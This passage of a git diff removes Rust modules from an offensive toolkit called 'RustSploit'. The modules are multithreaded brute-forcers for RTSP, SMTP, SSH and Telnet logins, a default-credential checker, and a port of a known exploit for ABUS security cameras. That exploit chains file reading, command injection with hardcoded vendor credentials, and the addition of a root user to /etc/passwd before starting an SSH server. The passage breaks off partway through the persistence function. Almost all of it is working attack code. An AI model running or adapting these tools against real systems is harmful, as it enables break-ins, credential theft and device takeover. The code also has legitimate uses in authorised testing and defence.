let path_str = if path.is_empty() { "NO_PATH" } else { &path };
println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
} else {
println!("\n[+] Valid credentials (and paths):");
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass, path) in creds.iter() {
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addr: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let addrs = resolve_targets(addr).await?;
let mut last_err = None;
let mut stream = None;
let mut connected_sa = None;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(sa);
break;
}
Err(e) => {
last_err = Some(e);
continue;
}
}
}
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts failed: {}",
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
let mut request = format!(
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
for header in extra_headers {
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
request.push_str("\r\n");
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("Server closed connection unexpectedly."));
}
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("Unexpected RTSP response:\n{}", response))
}
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
match s.trim().to_lowercase().as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
@@ -1,26 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking default creds on: {}", target);
let url = format!("http://{}/login", target);
let client = reqwest::Client::new();
// Hypothetical login using "admin:admin"
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
.send()
.await
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("[+] Default credentials admin:admin are valid!");
} else {
println!("[-] Default credentials admin:admin failed.");
}
Ok(())
}
@@ -1,217 +0,0 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use telnet::{Telnet, Event};
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
#[derive(Clone)]
struct SmtpBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== SMTP Bruteforce ===\n");
let port = prompt("Port (default 25): ").parse().unwrap_or(25);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_smtp_bruteforce(config)
}
fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
}
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() { break; }
if config.verbose { println!("[*] {}:{}", user, pass); }
match try_smtp_login(&addr, &user, &pass) {
Ok(true) => {
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
while rx.try_recv().is_ok() {}
break;
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
}
});
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
}
}
Ok(())
}
/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
use base64::{engine::general_purpose, Engine as _};
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
let mut banner_ok = false;
for _ in 0..3 {
let event = telnet.read().context("Banner read error")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("220") { banner_ok = true; break; }
}
}
if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
telnet.write(b"EHLO scanner\r\n")?;
let mut login_ok = false;
let mut plain_ok = false;
let mut ehlo_seen = false;
let mut buf = String::new();
for _ in 0..6 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
buf.push_str(&s);
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
if s.starts_with("250 ") { ehlo_seen = true; break; }
}
}
if !ehlo_seen { return Ok(false); }
// Try AUTH PLAIN
if plain_ok {
let mut blob = vec![0];
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
telnet.write(cmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
}
}
// Try AUTH LOGIN
if login_ok {
telnet.write(b"AUTH LOGIN\r\n")?;
let mut expect_user = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_user = true; break; }
}
}
if !expect_user { return Ok(false); }
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
telnet.write(ucmd.as_bytes())?;
let mut expect_pass = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_pass = true; break; }
}
}
if !expect_pass { return Ok(false); }
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
telnet.write(pcmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
-296
View File
@@ -1,296 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", "22")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let initial_addr = format!("{}:{}", target, port);
let connect_addr = format_host_port(&initial_addr)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", connect_addr);
let user_list = load_lines(&usernames_file)?;
if user_list.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let users = Arc::new(user_list);
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<String> = pass_buf
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect();
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = Vec::new();
let mut user_cycle_idx = 0;
for pass_str in pass_lines {
if *stop.lock().await {
break;
}
let users_for_current_pass: Box<dyn Iterator<Item = String>> = if combo_mode {
Box::new(users.iter().cloned())
} else {
if users.is_empty() {
Box::new(std::iter::empty())
} else {
let user = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
Box::new(std::iter::once(user))
}
};
for user_str in users_for_current_pass {
if *stop.lock().await {
break;
}
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let task_addr = connect_addr.clone();
let task_user = user_str;
let task_pass = pass_str.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let task = tokio::spawn(async move {
let _permit = permit;
if *stop_clone.lock().await {
return;
}
match try_ssh_login(&task_addr, &task_user, &task_pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", task_addr, task_user, task_pass);
found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", task_addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
tasks.push(task);
}
}
for task in tasks {
let _ = task.await;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr_owned) {
Ok(tcp) => {
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
}
})
.await??;
Ok(result)
}
fn format_host_port(input: &str) -> Result<String> {
if input.starts_with('[') {
if let Some(end_bracket_idx) = input.find("]:") {
let host_part = &input[1..end_bracket_idx];
if !host_part.contains('[') && !host_part.contains(']') {
if (&input[end_bracket_idx+2..]).parse::<u16>().is_ok() {
return Ok(input.to_string());
}
}
}
}
let (host_candidate, port_str) = match input.rfind(':') {
Some(idx) if idx > 0 => { // Ensure colon is not the first character
let (h, p) = input.split_at(idx);
(h, &p[1..]) // Strip colon from port part
}
_ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)),
};
if port_str.parse::<u16>().is_err() {
return Err(anyhow!("Invalid port in address: '{}'", input));
}
let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']');
if stripped_host.contains(':') {
Ok(format!("[{}]:{}", stripped_host, port_str))
} else {
Ok(format!("{}:{}", stripped_host, port_str))
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required.".yellow());
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
.map(|os_str| os_str.to_string_lossy())
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
.map(|s_cow| s_cow.into_owned())
.unwrap_or_else(|| "ssh_brute_results.txt".to_string());
PathBuf::from(format!("./{}", path_candidate))
}
@@ -1,263 +0,0 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use telnet::Event;
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
use telnet::Telnet;
pub async fn run(target: &str) -> Result<()> {
println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
let target = target.to_string();
let port = prompt("Port (default 23): ").parse().unwrap_or(23);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ")
.trim()
.eq_ignore_ascii_case("y");
let full_combo = prompt("Try every username with every password? (y/n): ")
.trim()
.eq_ignore_ascii_case("y");
let verbose = prompt("Verbose mode? (y/n): ")
.trim()
.eq_ignore_ascii_case("y");
let config = TelnetBruteforceConfig {
target,
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_telnet_bruteforce(config)
}
#[derive(Clone)]
struct TelnetBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
}
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
// 1) Normalize & validate host:port
let addr = normalize_target(&config.target, config.port)
.context("Invalid target address")?;
let socket_addr = addr
.to_socket_addrs()?
.next()
.context("Unable to resolve target address")?;
println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
let creds = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
// 2) Build the combo queue
if config.full_combo {
for u in &usernames {
for p in &passwords {
tx.send((u.clone(), p.clone()))?;
}
}
} else if usernames.len() == 1 {
for p in &passwords {
tx.send((usernames[0].clone(), p.clone()))?;
}
} else if passwords.len() == 1 {
for u in &usernames {
tx.send((u.clone(), passwords[0].clone()))?;
}
} else {
println!("[!] Multiple creds & full_combo=OFF → using first username.");
for p in &passwords {
tx.send((usernames[0].clone(), p.clone()))?;
}
}
drop(tx);
// 3) Spawn workers
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let creds = Arc::clone(&creds);
let cfg = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() {
break;
}
if cfg.verbose {
println!("[*] Trying {}:{}", user, pass);
}
match try_telnet_login(&addr, &user, &pass) {
Ok(true) => {
println!("[+] Valid: {}:{}", user, pass);
creds.lock().unwrap().push((user, pass));
if cfg.stop_on_success {
*stop_flag.lock().unwrap() = true;
break;
}
}
Ok(false) => {}
Err(e) => {
if cfg.verbose {
eprintln!("[!] Error: {}", e);
}
}
}
}
});
}
pool.join();
// 4) Report & optional save
let found = creds.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials found.");
} else {
println!("\n[+] Found credentials:");
for (u, p) in found.iter() {
println!(" - {}:{}", u, p);
}
if prompt("\n[?] Save to file? (y/n): ")
.trim()
.eq_ignore_ascii_case("y")
{
let file = prompt("Filename: ");
if let Err(e) = save_results(&file, &found) {
eprintln!("[!] Failed to save: {}", e);
} else {
println!("[+] Results saved to '{}'", file);
}
}
}
Ok(())
}
/// Attempt a single login, with 0.7 s connect+I/O timeout
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
// Resolve to SocketAddr
let socket = addr
.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
// Connect with 1500 ms timeout
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500))
.context("Connection timed out")?;
// I/O timeout
stream
.set_read_timeout(Some(Duration::from_millis(1500)))
.context("Failed to set read timeout")?;
stream
.set_write_timeout(Some(Duration::from_millis(1500)))
.context("Failed to set write timeout")?;
// Wrap into Telnet
let mut connection = Telnet::from_stream(Box::new(stream), 256);
let mut login_seen = false;
let mut pass_seen = false;
for _ in 0..10 {
let event = connection.read().context("Read error or timeout")?;
if let Event::Data(buffer) = event {
let out = String::from_utf8_lossy(&buffer).to_lowercase();
if !login_seen && (out.contains("login:") || out.contains("username")) {
connection.write(format!("{}\n", username).as_bytes())?;
login_seen = true;
} else if login_seen && !pass_seen && out.contains("password") {
connection.write(format!("{}\n", password).as_bytes())?;
pass_seen = true;
} else if pass_seen {
if out.contains("incorrect")
|| out.contains("failed")
|| out.contains("denied")
{
return Ok(false);
}
if out.contains("last login")
|| out.contains("$")
|| out.contains("#")
|| out.contains("welcome")
{
return Ok(true);
}
}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let f = File::open(path).context(format!("Unable to open {}", path))?;
Ok(BufReader::new(f).lines().filter_map(Result::ok).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut f = OpenOptions::new()
.create(true)
.write(true)
.truncate(true)
.open(path)?;
for (u, p) in creds {
writeln!(f, "{}:{}", u, p)?;
}
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg);
io::stdout().flush().unwrap();
let mut buf = String::new();
io::stdin().read_line(&mut buf).unwrap();
buf.trim().to_string()
}
/// Enhanced IPv4/IPv6/domain normalizer & resolver
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let caps = re
.captures(host.trim())
.ok_or_else(|| anyhow::anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str().parse::<u16>().context("Invalid port value")?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
// Verify DNS/getaddrinfo
formatted
.to_socket_addrs()
.context(format!("Could not resolve {}", formatted))?;
Ok(formatted)
}
-2
View File
@@ -1,2 +0,0 @@
pub mod generic; // <-- lowercase folder name
pub mod camera;
@@ -1,153 +0,0 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
// Cargo.toml:
// [dependencies]
// anyhow = "1.0"
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
// md5 = "0.7.0"
use anyhow::{Result, anyhow};
use md5;
use reqwest::Client;
use std::io::{self, Write};
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
fn format_host(raw: &str) -> String {
if raw.contains(':') {
// strip any number of existing brackets, then wrap once
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
format!("[{}]", stripped)
} else {
raw.to_string()
}
}
/// Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
let host = format_host(target);
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
host, filepath
);
println!("[*] Sending LFI request to: {}", url);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
/// Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let host = format_host(target);
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
println!("[*] Sending RCE request to: {}", url);
let resp = client.get(&url).send().await?;
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating SSH key on target...");
exploit_rce(client, target, cmd).await
}
/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("[*] MD5 hash of password: {}", hash);
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
);
println!("[*] Injecting root user into /etc/passwd...");
exploit_rce(client, target, &cmd).await
}
/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH server...");
exploit_rce(client, target, cmd).await
}
/// Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
